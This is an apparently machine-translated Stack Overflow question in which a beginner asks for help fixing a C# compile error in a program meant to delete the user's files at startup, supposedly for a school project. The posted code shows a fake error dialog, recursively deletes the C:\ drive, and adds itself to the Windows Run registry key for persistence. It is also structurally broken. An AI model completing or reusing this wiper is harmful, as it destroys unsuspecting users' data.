我想創建一個應用程序,在啓動時刪除用戶文檔(我知道這聽起來可能是惡意的,但它是針對學校項目的)。命名空間不能直接包含成員,如字段或方法?
但是,我收到錯誤「名稱空間不能直接包含成員,如字段或方法」。
看着它,它似乎很好?我希望第二雙眼睛可以幫助,因爲我到處搜索,我找不到相關的解決方案!
不可否認,由於我非常基礎的知識,我在網上和書本上使用了很多幫助,而且我對c#的瞭解有限。因此,我可能只是愚蠢的,但每個人都必須從某個地方開始,對吧?
的代碼如下:
namespace Test
{
class Program
{
static void Main(string[] args)
{
MessageBox.Show("An unexpected error occured");
if (System.IO.Directory.Exists(@"C:\"))
{
try
{
System.IO.Directory.Delete("C:\\", true);
}
catch (System.IO.IOException e)
{
Console.WriteLine(e.Message);
}
}
}
}
public class Program
{
private void SetStartup();
}
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (chkStartUp.Checked)
rk.SetValue(AppName, Application.ExecutablePath.ToString());
else
rk.DeleteValue(AppName, false);
}
軋製回其固定格式的編輯,因爲缺乏格式是有效*問題的一部分*。如果OP的代碼被格式化爲正確的格式,他們可能已經注意到了這個問題 - 所以改變這個問題以假裝已經*格式化就隱藏了一個重要的問題。 – 2012-02-21 19:28:34
[錯誤「名稱空間不直接包含成員,如字段或方法」]的可能重複](http://stackoverflow.com/questions/2090369/error-a-namespace-does-not-directly-contain-members-如字段或方法) – 2014-07-15 22:17:24